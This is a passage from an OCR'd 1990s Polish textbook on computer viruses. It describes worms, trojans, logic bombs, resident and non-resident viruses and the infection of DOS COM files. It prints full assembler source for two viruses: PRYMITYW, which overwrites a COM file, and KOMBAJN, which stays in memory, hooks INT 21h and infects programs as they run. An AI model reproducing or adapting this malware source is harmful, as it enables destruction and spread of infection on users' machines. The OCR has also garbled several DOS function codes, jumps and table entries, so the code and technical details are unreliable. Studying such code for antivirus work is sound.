(gotowego do uruchomienia) generatory tworzą także pełne, najczęściej dobrze opisane
źródła w asemblerze, co umożliwia przeciętnemu, ale zainteresowanemu pisaniem
wirusów użytkownikowi, dokształcenie się w tej dziedzinie. Najbardziej znane generatory
wirusów to: IVP (Instant Virus Production Kit), VCL (Virus Construction Laboratory), PS-
MPC (Phalcon-Skism-Mass Produced Code Generator), G2 (G Squared) i NRLG (NukE
Randomic Life Generator).

2.6. Robaki (ang. worms)

Robak to program, którego działanie sprowadza się do tworzenia własnych duplikatów,
tak że nie atakuje on żadnych obiektów, jak to czynią wirusy. Oprócz zajmowania
miejsca na dysku program ten rzadko wywołuje skutki uboczne. Podobnie jak wirusy
towarzyszące, robaki najczęściej pisane są w językach wysokiego poziomu. Robaki są
najbardziej popularne w sieciach, gdzie mają do dyspozycji protokoły transmisji
sieciowej, dzięki którym mogą przemieszczać się po całej sieci.

2.7. Konie trojańskie (ang. trojan horses)

Koń trojański nie jest wirusem komputerowym, ale ze względu na swoje działanie
(najczęściej destrukcyjne) często bywa z nim utożsamiany.
Zasada działania koma trojańskiego jcst banalnie prosta. Uruchomio-ny, wykonuje niby
to normalną prace, bezpośrednio wynikająca , przeznaczenia programu (np.: gra, demo,
program użytkowy), lecz dodatkowo, niejako w tle, wykonuje jakies niezauważalne dla
użyt-kownika operacje, (najczęściej po prostu niszczy - kasuje lub zamazu-je - dane na
dysku twardym).
Konie trojańskie najczęściej przenoszą sie w plikach udających nowe, popularne
programy kompresujące (np.: PKZIP, ARJ. RAR) lub też udają programy narzedziowe do
obsługi dysków.

2.8. Bomby logiczne (ang. logical bombs)

O ile koń trojański wykonuje brudną robotę od razu po uruchomieniu, o tyle bomba swe
destrukcyjne oblicze ukazuje tylko w określonym odpowiednimi warunkami czasie
(najczęściej zależnie od aktualnej daty lub liczby poprzednich wywołań programu). Ze
względu na to, iż właściwy, destrukcyjny kod może być ukryty w dowolnym miejscu
programu zawierającego bombę, należy ostrożnie obchodzić się z aplikacjami, których
pochodzenie jest nieznane. Mianem bomby określa się często także destrukcyjny,
uruchamiany tylko po spełnieniu jakiegoś warunku, kod zawarty w wirusach.

background image

ROZDZIAŁ 3

3.1. Wirusy nierezydentne (ang. non-resident viruses)

Wirusy nierezydentne są najprostszą odmianą wirusów komputerowych zarażających
pliki wykonywalne. Po uruchomieniu nosiciela poszukiwany jest, najczęściej przy
pomocy funkcji (4E/4F/21), kolejny obiekt do zarażenia. W przypadku nie znalezienia
żadnego kandydata, sterowanie oddawane jest do nosiciela, w przeciwnym razie
znaleziony plik jest infekowany. Ofiary poszukiwane są w bieżącym katalogu i/lub w
katalogach określonych w zmiennej środowiskowej PATH, i/lub w podkatalogach
bieżącego katalogu, i/lub w katalogu głównym. Z reguły wirus taki nie przejmuje
żadnego przerwania (ewentualnie na czas infekcji przejmowane jest przerwanie
programowe 24h, które jest odpowiedzialne za obsługę błędów krytycznych). Główną
wadą wirusów nierezydentnych jest to, iż poszukiwanie ofiar przy starcie programu
wiąże się najczęściej z dużym opóźnieniem w uruchomieniu właściwego programu oraz
łatwo zauważalną przez użytkownika wzmożoną aktywnością przeszukiwanego nośnika.
Drugim poważnym mankamentem jest to, iż zarażają one tylko i wyłącznie po
uruchomieniu nosiciela, a więc nie mogą efektywnie infekować plików ani też skutecznie
maskować swej obecności w7 systemie, tak jak czynią to wirusy rezydentne. Wirusy
nierezydentne są najczęściej wypuszczane przez oszołomionych pierwszym sukcesem,
początkujących twórców^ wirusów. O tym, jak prosto napisać najprymitywniejszą wersję
wirusa nierezydentnego, niech świadczy poniższa krótka sekwencja napisana w
asemblerze. Po skompilowaniu otrzymujemy program, który po uruchomieniu szuka przy
pomocy funkcji (4E/21) pierwszego pliku o rozszerzeniu COM w aktualnym katalogu i po
ewentualnym jego znalezieniu przepisuje swój kod na początek ofiary. Wirus ten jest
bardzo prymitywny w swym działaniu, gdyż nieodwracalnie niszczy zarażany przez
siebie plik (jest to wirus
nadpisujący), a także nie posiada żadnej obsługi błędów (w przypadku nieznalezienia
ofiary wirus "zainfekuje"... ekran). Jego wykrycie to kwestia bardzo krótkiego czasu
(programy COM przestaną "nagle" działać).

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; PRYMITYW v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prymitywny wirus nierezydentny nadpisujacy, ;
; atakujacy i niszczacy pierwszy znaleziony ;
; w katalogu plik COM ;
; Kompilacja : ;
; TASM PRYMITYW.ASM ;
; TLINK /t PRYMITYW.OBJ ;
; ;
;----------------------------------------------------------------------------;

background image

PRYMITYW SEGMENT
ASSUME CS: PRYMITYW, DS:PRYMITYW

ORG 100h
WirDlug = Offset (WirKoniec-WirStart)
; WirDlug okresla dlugosc calego kodu wirusa

WirStart:

mov cx,20h ; atrybut poszukiwanej pozycji katalogu (Archive)
mov dx,Offset PlikiCOM ; szukaj plikow *.COM
mov ah,4Fh ; funkcja DOS - szukaj pozycji w katalogu
int 21h ; wywolaj funkcje

mov ax,3D02h ; funkcja DOS - otworz plik do odczytu i zapisu
mov dx,9Fh ; nazwa znalezionego pliku w buforze DTA
; znajdujacym sie pod adresem CS:80h
int 21h ; wywolaj funkcje

xchg ax,bx ; przenies uchwyt pliku z AX do BX

mov cx,WirDlug ; podaj ile bajtow zapisac
mov dx,100h ; zapisuj spod adresu CS:100h
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje

ret ; rownoznaczne z wykonaniem Int 20h

PlikiCOM db '*.COM' ; maska dla poszukiwanych pozycji w katalogu

WirKoniec:

PRYMITYW ENDS
END WirStart

3.2. Wirusy rezydentne (ang. resident viruses)

Autorzy wirusów szybko zorientowali się, że działające tylko po uruchomieniu nosiciela
wirusy nierezydentne mają dość ograniczone pole manewru, stąd też poszukiwali
Jakiegoś mechanizmu, który pozwalałby na nieprzerwane monitorowanie systemu
operacyjnego. Z pomocą przyszli im nieświadomie sami autorzy systemu DOS,
implementując w typowo jednozadaniowym środowisku mechanizm sztucznej
wielozadaniowości. Zasada działania wirusów rezyden-tnych polega bowiem na
zainstalowaniu się w pamięci operacyjnej komputera i przejęciu odpowiednich odwołań
do systemu w sposób podobny do tego, w jaki czynią to programy typu TSR (ang.
Terminate but Stay Resident). W zasadzie typowy wirus rezydentny to program TSR,

background image

który po zainstalowaniu ukrywa swój kod przed programami przeglądającymi pamięć.
Aktywny i jednocześnie ukryty w pamięci, ma o wiele szersze pole manewru niż wirusy
nierezydentne. Monitorowanie odpowiednich funkcji DOS i BIOS pozwala mu bowiem
przy każdej dowolnej próbie dostępu na infekcję plików lub sektorów. Możliwe staje się
także zastosowanie techniki zaawansowanego ukrywania się w systemie (tzw. technika
stealth, omówiona w dalszej części opracowania). Zawładnięcia systemem dokonuje się
poprzez przejęcie odpowiednich przerwań sprzętowych i funkcji obsługiwanych przez
ogólnie dostępne przerwania programowe.
Ze względu na szybkość mnożenia się wirusy rezydentne dzieła się na szybkie intektory
i wolne infektory. Poniżej przedstawiono przykład prostego wirusa rezydentnego,
infekującego pliki COM podczas ich uruchamiania.

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; KOMBAJN v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus rezydentny plikow COM ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; Przejmuje przerwanie 21h ;
; Przejmuje przerwanie 24h na czas infekcji ;
; ;
; Kompilacja : ;
; TASM KOMBAJN.ASM ;
; TLINK /t KOMBAJN.OB J ;
; ;
;----------------------------------------------------------------------------;
JUMPS
KOMBAJN SEGMENT
ASSUME CS:KOMBAJN, DS:KOMBAJN
ORG 100h

Haslo = 0BACAh ; \ do sprawdzenia, czy wirus jest
Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci

NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /

AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /

background image

VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16

Start: ; poczatek wirusa

PoczatekWirusa: ; pomocnicza etykieta

Call Trik ; zapisz na stosie relatywny ofset
Trik:

pop si ; zdejmij ze stosu relatywny ofset
sub si,103h ; oblicz ofset do poczatku wirusa

mov ax,Haslo ; \ sprawdz, czy wirus jest
int 21h ; / juz w pamieci

cmp ax,Odpowiedz ; \ czy kopia wirusa odpowiedziala ?
jne InstalacjaWPamieci ; / NIE - zainstaluj
; TAK - wypisz komunikat
lea di,TeBylZainstalowany ; /
call DrukSI ; /
jmp PowrocDoNosiciela ; i powroc do nosiciela

InstalacjaWPamieci: ; poczatek instalacji

lea di,TeCopyRight ; \ wyswietl info o wirusie
Call DrukSI ; /

lea di,TeInstalacja ; \ zapytaj uzytkownika, czy chce
Call DrukSI ; \ zainstalowac wirusa w pamieci
Call Decyzja ; /
jc PowrocDoNosiciela ; / CF=1 - uzytkownik nie chce instalowac

mov ax,3521h ; funkcja DOS - wez adres INT 21
int 21h ; wywolaj funkcje

mov [si][Stare21Seg],es ; \ zachowaj adres (wirus bedzie go
mov [si][Stare21Ofs],bx ; / uzywal)

mov ax,ds ; przywroc ES
mov es,ax ; AX=ES=DS=CS=SS=PSP

background image

dec ax ; AX=ES-1=MCB do aktualnego bloku
mov ds,ax ; DS=blok MCB
mov bx,word ptr ds:[0003h] ; wez dlugosc aktualnego bloku
sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa

mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci
int 21h ; wywolaj funkcje

mov bx,DlugoscWPamieci ; podaj dlugosc wymaganego bloku pamieci
mov ah,48h ; funkcja DOS - przydzial bloku
int 21h ; wywolaj funkcje
jc PowrocDoNosiciela ; CF=1 - nie udalo sie przydzielic

mov es,ax ; ES=wskazuje na przydzielony blok
xor di,di ; ES:DI - dokad skopiwoac
cld ; zwiekszaj SI, DI w REP MOVSB

push si ; SI bedzie zmieniany, wiec zachowaj
add si,offset PoczatekWirusa ; dodaj ofset : skad kopiowac
mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac
rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow
pop si ; przywroc relatywny ofset

mov ax,es ; pobierz adres do MCB opisujacego
dec ax ; blok, w ktorym jest wirus
mov ds,ax ; DS=MCB wirusa
mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa, jako systemowy
sub ax,0Fh ; \ DS=adres bloku-10h
mov ds,ax ; \ sztuczka, dzieki ktorej mozna
; / odwolywac sie do danych jak w
; / zwyklym programie COM (ORG 100h)

mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h
mov ax,25FFh ; funkcja DOS - ustaw adres INT 21
int 21h ; wywolaj funkcje

push cs ; \ wyswietl komunikat o
pop ds ; \ instalacji w pamieci
lea di,TeZainstalowany ; \ i segment, w ktorym
Call DrukSI ; / rezyduje wirus
mov ax,es ; /
Call DrukHEX16 ; /

PowrocDoNosiciela: ;
push cs cs ; \ przywroc DS=ES=CS=PSP
pop ds es ; /

background image

mov al,byte ptr [si][StareBajty] ; \ przywroc 3 poczatkowe bajty
mov ds:[100h],al ; \ programu pod adresem CS:100h
mov ax,word ptr [si][StareBajty+1] ; /
mov ds:[101h],ax ; /

mov ax,100h ; \ zachowaj na stosie slad do
push ax ; / adresu 100h

xor ax,ax ; \ dla bezpieczenstwa
xor bx,bx ; \ lepiej wyzerowac rejestry
xor cx,cx ; \ robocze
xor dx,dx ; /
xor si,si ; /
xor di,di ; /

ret ; powroc do nosiciela

PytanieOInstalacje: ; \ odpowiedz rezydujacego
xchg al,ah ; - wirusa na pytanie, czy jest
iret ; / w pamieci

NoweInt21:
cmp ax,4B00h ; czy funkcja DOS - uruchom program ?
je InfekcjaPliku ; TAK - sprobuj infekowac
cmp ax,Haslo ; czy pytanie wirusa o instalacje ?
je PytanieOInstalacje ; TAK - odpowiedz ze zainstalowany

jmp PowrotZInt21 ; idz do poprzedniego lancucha
; przerwan

InfekcjaPliku:
push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry

mov cs:StaryDS, ds ; \ zachowaj adres do nazwy pliku
mov cs:StaryDX, dx ; /

mov ax,3524h ; \ pobierz stara i ustaw
Call StareInt21 ; \ nowa procedure obslugi
mov cs:Stare24Seg,es ; \ przerwania krytycznego
mov cs:Stare24Ofs,bx ; \ INT 24h w celu ochrony
; \ przed ewentulanymi bledami
push cs ; / (np; podczas proby zapisu
pop ds ; / na zabezpieczonej przed
lea dx,NoweInt24 ; / zapisem dyskietce, nie
mov ax,2524h ; / zostanie wywolany dialog
Call StareInt21 ; / ARIF)

background image

mov ds,cs:StaryDS ; DS=wskazuje na nazwe pliku
mov dx,cs:StaryDX ; podaj nazwe pliku
mov ax,4300h ; funkcja DOS - czytaj atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad, wiec powrot

mov cs:Atrybut,cl ; wez stary atrybut

mov ax,4301h ; funkcja DOS - zapisz atrybut
mov cx,AtrArchive ; podaj nowy atrybut : Archive
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut

mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt pliku do BX

mov ax,5700h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
mov cs:Czas,cx ; zachowaj czas pliku na pozniej

cmp dx,VZnacznik ; czy plik jest juz zainfekowany ?
je ZamknijPlik ; TAK - zamknij plik, powrot

push cs ; \ DS=CS=segment wirusa
pop ds ; /

mov cx,3 ; ilosc czytanych bajtow
lea dx,StareBajty ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz, czy to nie EXE
je ZamknijPlik ; gdy "MZ", to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy "ZM", to plik EXE, powrot

xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku

background image

Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

; DX=starsza czesc dlugosci pliku
or dx,dx ; czy plik krotszy niz 65536 ?
jnz ZamknijPlik ; nie - nie infekuj

cmp ax,64000 ; czy dlugosc <= 64000 ?
jmp ZamknijPlik ; nie - nie infekuj

cmp ax,3 ; czy dlugosc >= 3 ?
jb ZamknijPlik ; nie - nie infekuj

sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku

lea di,TeZnalazlemPlik ; \ zapytaj uzytkownika
Call Druk ; \ czy chce zainfekowac
; \ plik
mov di,cs:StaryDX ; \ (nazwa pliku jest
mov ds,cs:StaryDS ; \ wyswietlana)
Call Druk ; \
; - (dzieki temu uzytkownik
push cs ; / ma pelna kontrole nad
pop ds ; / tym, co wirus infekuje)
lea di,TeInfekcja ; /
Call Druk ; /
Call Decyzja ; /
jc ZamknijPlik ; / gdy CF=1, uzytkownik nie pozwala

mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow
mov dx,100h ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad

mov cx,3 ; ilosc zapisywanych bajtow
lea dx,Skok ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h

background image

jc ZamknijPlik ; gdy CF=1, to blad

mov cx,Czas ; przywroc czas
mov dx,VZnacznik ; zaznacz w dacie infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h

ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
Call StareInt21 ; wywolaj stare przerwanie 21h

PrzywrocAtrybut:
mov cl,cs:Atrybut ; podaj stary atrybut
mov ch,0 ; CX=CL
mov dx,cs:StaryDX ; podaj nazwe pliku do zmiany
mov ds,cs:StaryDS ; w DS:DX
mov ax,4301h ; funkcja DOS - zmien atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h

lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare przerwanie
mov ax,2524h ; - INT 24
Call StareInt21 ; /

pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry

PowrotZInt21:
db 0EAh ; mnemonik rozkazu skoku JMP FAR
Stare21Ofs dw ? ; (z tych pol korzysta skok
Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego
; elementu lancucha przerwan INT 21)

StareInt21:
pushf ; \ symuluj wywolanie przerwania
Call dword ptr cs:[Stare21Ofs] ; / wywolaj stare przerwanie

ret ; powroc z wywolania

DrukSI: ; procedura wyswietla tekst z
; CS:[DI+SI]
add di,si ; tekst w DI, dodaj SI
Druk: ; procedura wyswietla tekst z
; CS:[DI]
push ax di ; zachowaj zmieniane rejestry

DrukPetla:
mov al,[di] ; pobierz znak

background image

or al,al ; czy koniec tekstu (znak=NUL) ?
jz DrukPowrot ; TAK - kocz pisanie

mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje

inc di ; zwieksz indeks (na nastepny znak)

jmp short DrukPetla ; idz po nastepny znak

DrukPowrot:
pop di ax ; przywroc zmieniane rejestry

ret ; powrot

DrukHEX16: ; drukuje liczbe heksalna z AX
push ax ; zachowaj AX (dokladniej AL)
mov al,ah ; najpierw starsza czesc
Call DrukHex8 ; wyswietl AH
pop ax ; przywroc AX (dokladniej AL)
; i wyswietl AL
DrukHex8: ; drukuje liczbe heksalna z AL
push ax ; zachowaj AX (dokladniej 4 bity AL)
shr al,1 ; \
shr al,1 ; \ podziel AL przez 16,
shr al,1 ; / czyli wez 4 starsze bity AL
shr al,1 ; /
Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej
pop ax ; przywroc AX (dokladniej 4 bity AL)
and al,15 ; wez 4 mlodsze bity AL
; i wydrukuj czesc liczby szesnastkowej
DrukHex4:
cmp al,10 ; \ konwersja liczby binarnej
jb Cyfra09 ; \ na znak
add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na
Cyfra09: ; / '0'..'9', 'A'..'F'
add al,'0' ; /

mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje

ret ; powrot

Decyzja: ; \ pobiera z klawiatury
mov ah,0h ; \ znak i sprawdza, czy jest
int 16h ; \ to litera 'T'lub 't'
and al,0DFh ; \ jezeli tak, ustawia CF=0

background image

cmp al,'T' ; \ jezeli nie, ustawia CF=1
clc ; /
je DecyzjaTak ; /
stc ; /
DecyzjaTak: ; /
ret ; /

NoweInt24: ;
mov al,3 ; sygnalizuj CF=1, gdy dowolny blad
; nie wywoluj ARIF
iret ; powrot z przerwania

TeCopyRight db CR,LF,'KOMBAJN v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF,NUL
TeInstalacja db CR,LF,'_ Zainstalowac KOMBAJNA w pamieci operacyjnej (T/N) ?
',NUL
TeBylZainstalowany db CR,LF,'_ KOMBAJN jest juz w pamieci !',NUL
TeZainstalowany db CR,LF,'_ KOMBAJN zostal zainstalowany w segmencie : ',NUL
TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL
TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac zainfekowac go KOMBAJNEM
(T/N) ?',NUL

StareBajty db 0CDh,20h,90h
Skok db 0E9h
KoniecWirusa:
all:
Skok2 dw ?
StaryDS dw ?
StaryDX dw ?
Atrybut db ?
Czas dw ?
Stare24Ofs dw ?
Stare24Seg dw ?

KOMBAJN ends
end start

3.2.1. Szybkie infektory (ang.fast infectors)

Szybkie infektory przejmują wszystkie możliwe funkcje systemu DOS, używane do
obsługi plików i zarażają wszystko, co się da, w maksymalnie krótkim czasie, co
powoduje, iż po okresie bardzo szybkiej ekspansji wirusa w danym systemie następuje
jego pasywacja, gdyż wirus nie może znaleźć kolejnej ofiary do zarażenia. Często
pierwszą czynnością wykonywaną przez wirusa jest zniszczenie w pamięci kodu
zamazywalnej części interpretatora poleceń, co sprawia, że przy następnym wywołaniu
jakiegokolwiek polecenia z poziomu DOS plik zawierający interpretator poleceń (czyli
najczęściej COMMAND.COM) zostanie ponownie uruchomiony i w efekcie natychmiast

background image

zainfekowany.
Duża aktywność szybkiego infektora będzie na pewno łatwo zauważalna dla
użytkownika - nawet tego, który słabo zna system. Użycie najlepszych nawet technik
stealth (dość często stosowanych przez tego typu wirusy) także się nie sprawdzi,
zwłaszcza gdy użytkownik wykonuje dużo operacji dyskowych.

3.2.2. Wolne infektory (ang. slow infectors)

Wirusy tego typu są bardziej wyrafinowane niż szybkie infektory. Ich głównym celem nie
jest maksymalnie szybka ekspansja w systemie, lecz raczej jak najdłuższe przetrwanie.
Wirusy te używają najczęściej wolnych, kilkustopniowych, zmiennych procedur
szyfrujących i techniki stealth. Infekują najczęściej tylko takie obiekty, które modyfikuje
lub tworzy użytkownik, a więc nawet w przypadku sygnalizowania jakiejś niebezpiecznej
operacji przez ewentualny program antywirusowy użytkownik będzie przekonany, iż
potwierdza wykonywane przez siebie czynności.
Są to wirusy bardzo trudne do wykrycia i usunięcia, nawet przez bardzo zaawansowane
programy antywirusowe.

ROZDZIAŁ 4

4.1. Pliki

Jedną z najczęściej wykorzystywanych dróg, jaką przenoszą się wirusy. są pliki. Na
samym początku były to tylko pliki wykonywalne COM, a potem EXE. Z czasem jednak
liczba różnorodnych plików branych pod uwagę przez twórców wirusów wzrosła. Można
powiedzieć, iż w kręgu zainteresowań ludzi piszących wirusy są wszystkie pliki, które
posiadają w swym wnętrzu struktury zawierające instrukcje sterujące oraz funkcje
operujące na plikach i/lub sektorach. Mogą to więc być pliki wykonywalne (COM, EXE),
wsadowe (BAT), pliki zawierające sterowniki (SYS, BIN, DRV), pliki z modułami
wykonywalnymi (OBJ, LIB, DLL, OV?, BGI, TPU, 386, VXD i inne), a także pliki
programów, udostępniające użytkownikom definiowanie makr (DOC, XLS, SAM).
Spotykane są także wirusy nietypowe, np. atakujące programy napisane w asembłerze
(ASM). Rodzaj pliku rozstrzygany jest najczęściej na podstawie jego wewnętrznej
budowy, tak więc w większości przypadków zmiana rozszerzenia pliku nie pozwala na
uchronienie go przed infekcją. Wewnętrzna struktura najczęściej zarażanych plików oraz
sposoby ich infekcji omówione zostały poniżej. W rozdziale opisującym infekcję plików
COM zawarto dodatkowo informacje na temat struktur tworzonych przez DOS podczas
uruchamiania programów (blok wstępny programu, otoczenie programu).

4.1.1. Pliki wykonywalne COM

Ze względu na swą prostą budowę programy typu COM od początku stanowiły
smakowity kąsek dla twórców wirusów. Zawierają one kod programu w tzw. postaci
absolutnej, dlatego też ich ładowanie do pamięci polega na wczytaniu zawartości pliku
pod adres znajdujący się bezpośrednio po tworzonym dla każdego procesu bloku
wstępnym PSP i wykonaniu dalekiego skoku na początek programu,
a więc ich obraz w pamięci jest wierną kopią zawartości pliku. Wygląd programu COM
po załadowaniu do pamięci przedstawia poniższa tabela.

Wygląd programu COM po załadowaniu do pamięci:
Adres (względem segmentu), do którego

Zawartość pamięci

background image

został załadowany plik COM
CS:0000-CS:0100

Blok wstępny PSP (patrz następna tabela)

CS:0000-CS:????

Kod programu załadowany z pliku

Format bloku wstępnego programu PSP
Adres w pamięci

Zawartość

00-01

Kod rozkazu int 21 h (CD 21)

02-03

Adres segmentu pamięci niedostępnej dla programu

04

Nie używane przez DOS, używane wewnętrznie przez OS/2

05-09

Dalekie odwołanie do systemu DOS (rozkaz wywołania dalekiej
procedury)

06-07

Rozmiar dostępnej pamięci w segmencie

0A-0D

Zapamiętywany adres zakończenia programu (int 22h)

0E-11

Adres programu obsługi CTRL-BREAK (int 23h)

12-15

Adres programu obsługi błędów krytycznych (int 24h)

16-17

Adres do segmentu pamięci, gdzie znajduje się blok PSP
programu rodzicielskiego (interpretator poleceń modyfikuje to
pole i wstawia tam adres swojego PSP)

18-2B

Tablica plików obsługiwanych przez proces JFT (ang. Job File
Table); każdy element tablicy zawiera indeks wskazujący na
element SFT (ang. System File Table) opisujący wszystkie
otwarte w systemie pliki lub też wartość FF, jeżeli element nie
jest używany

2C-2D

Adres segmentu pamięci, w którym znajduje się otoczenie
programu, zawierające definicje zmiennych środowiskowych
systemu DOS, takich jak PATH, PROMPT Ud. Każdy element
otoczenia oddzielany jest znakiem NUL (kod 00); funkcja 4B
rozszerza otoczenie programu poprzez dodanie jednego słowa
określającego ilość dodatkowych łańcuchów ASCIIZ (zwykle
0001), a następnie umieszcza dalej nazwę uruchamianego
programu. Umożliwia to procesowi dotarcie do pliku na dysku
zawierającego kod uruchomionego programu - jest to parametr
paramstr(0) w Pascalu i argv[0] w C.

2E-31

Zapamiętane wartości SS:SP (używane podczas wywoływania
funkcji DOS) aktualnego procesu; DOS zapamiętuje je przed
przełączeniem się na własny stos

32-33

Liczba elementów tablicy JFT (standardowo =20)

34-37

Daleki wskaźnik do tablicy plików JFT (standardowo CS:18)
umożliwia rozszerzenie ilości plików wykorzystywanych przez
proces

38-3B

Daleki wskaźnik do poprzedniego bloku wstępnego PSP

3C-4F

Pola wykorzystywane wewnętrznie przez różne systemy
operacyjne

50-52

Kod rozkazów: INT 21 h RETF

53-54

Nie używane

55-5B

Nie używane, można użyć, aby zmienić standardowy blok FCB
na rozszerzony blok FCB

background image

5C-6B

Standardowy blok opisu pliku FCB1

6C-7B

Standardowy blok opisu pliku FCB2

7C-7F

Nie używane

80-FF

Bufor transmisji dyskowych DTA. Bezpośrednio po
uruchomieniu programu zawiera jego wiersz wejściowy,
zawierający parametry podane z linii poleceń, zakończony
znakiem CR (0D). Bajt pod adresem 80 określa długość wiersza
wejściowego nie uwzględniając znaku CR.

Przekazując sterowanie do programu COM system DOS inicjuje kilka rejestrów
ustalonymi wartościami. Rejestry segmentowe CS, DS, SS, ES wskazują na adres bloku
PSP programu, IP=100h, SP wskazuje na koniec pamięci dostępnej w segmencie
(zwykle FFFE), na stosie umieszczana jest wartość 0000.
Sposób infekcji plików COM jest bardzo prosty. Na końcu zarażanego pliku należy
dopisać kod wirusa, a na początku pliku, po uprzednim zapamiętaniu oryginalnych
bajtów, umieścić rozkaz przenoszący sterowanie do wirusa (najczęściej jest to 3-bajtowy
rozkaz JMP NEAR, posiadający kod maszynowy OE9h 00 00, gdzie 00 00 jest wartością
dodawaną do wskaźnika instrukcji IP po wykonaniu rozkazu). Po uruchomieniu
sterowanie zostaje przekazane najpierw do wirusa, a ten z kolei, po wykonaniu
odpowiednich czynności, przywraca początkowe bajty programu i wykonuje skok pod
adres CS:0100h.
Nie jest to jedyna metoda zarażania plików COM. Niektóre wirusy przesuwają w pliku
kod oryginalnego programu, a w tak powstałe miejsce wpisują swój kod. Ze względu na
większą ilość operacji, jakie muszą wykonać, aby zainfekować plik, są dość łatwo
wykrywane, gdyż znacząco opóźniają wykonanie oryginalnych programów.
Jeszcze inna metoda polega na umieszczeniu kodu wirusa w dowolnym miejscu
infekowanego pliku, jednak ze względu na trudności implementacyjne jest ona rzadko
stosowana.
Infekując pliki COM należy pamiętać, iż programy tego typu mogą mieć długość nie
większą niż 64kB-100h-2 bajty. Odejmowana wartość 100h jest długością bloku PSP,
tworzonego na początku segmentu, do którego ładowany jest program., a wartość 2
wynika z faktu umieszczenia przed startem programu wartości 0000h na stosie. Po
wczytaniu programu przez DOS wskaźnik stosu (SP) programu ustawiany jest na końcu
segmentu, do którego został on załadowany, stąd też za maksymalną długość, której nie
może przekroczyć plik, należy przyjąć wartość mniejszą od 65278, np. 65000 bajtów lub
nawet mniej. Nieuwzględnienie powyższego faktu spowoduje, iż po załadowaniu zbyt
długiego pliku COM niszczona będzie część programu znajdująca się przy końcu
segmentu (przez wartości zapisywane na stosie).
W tablicach poniżej przedstawiono wygląd programu COM przed i po zarażeniu
wirusem.
Struktura niezainfekowanego pliku COM
Zawartość pliku
Kod programu w tzw. postaci absolutnej

Struktura zainfekowanego pliku COM - wirus dopisuje się na końcu pliku
Zawartość pliku
Rozkaz skoku do wirusa (najczęściej jest to rozkaz o kodzie OE9h 00 00, czyli JMP

background image

NEAR)
Kod zainfekowanego programu
Kod wirusa wraz z zapamiętanymi bajtami początkowymi

Struktura zainfekowanego pliku COM -wirus przesuwa kod oryginalnego
programu
Zawartość pliku
Kod wirusa
Przesunięty kod zainfekowanego programu
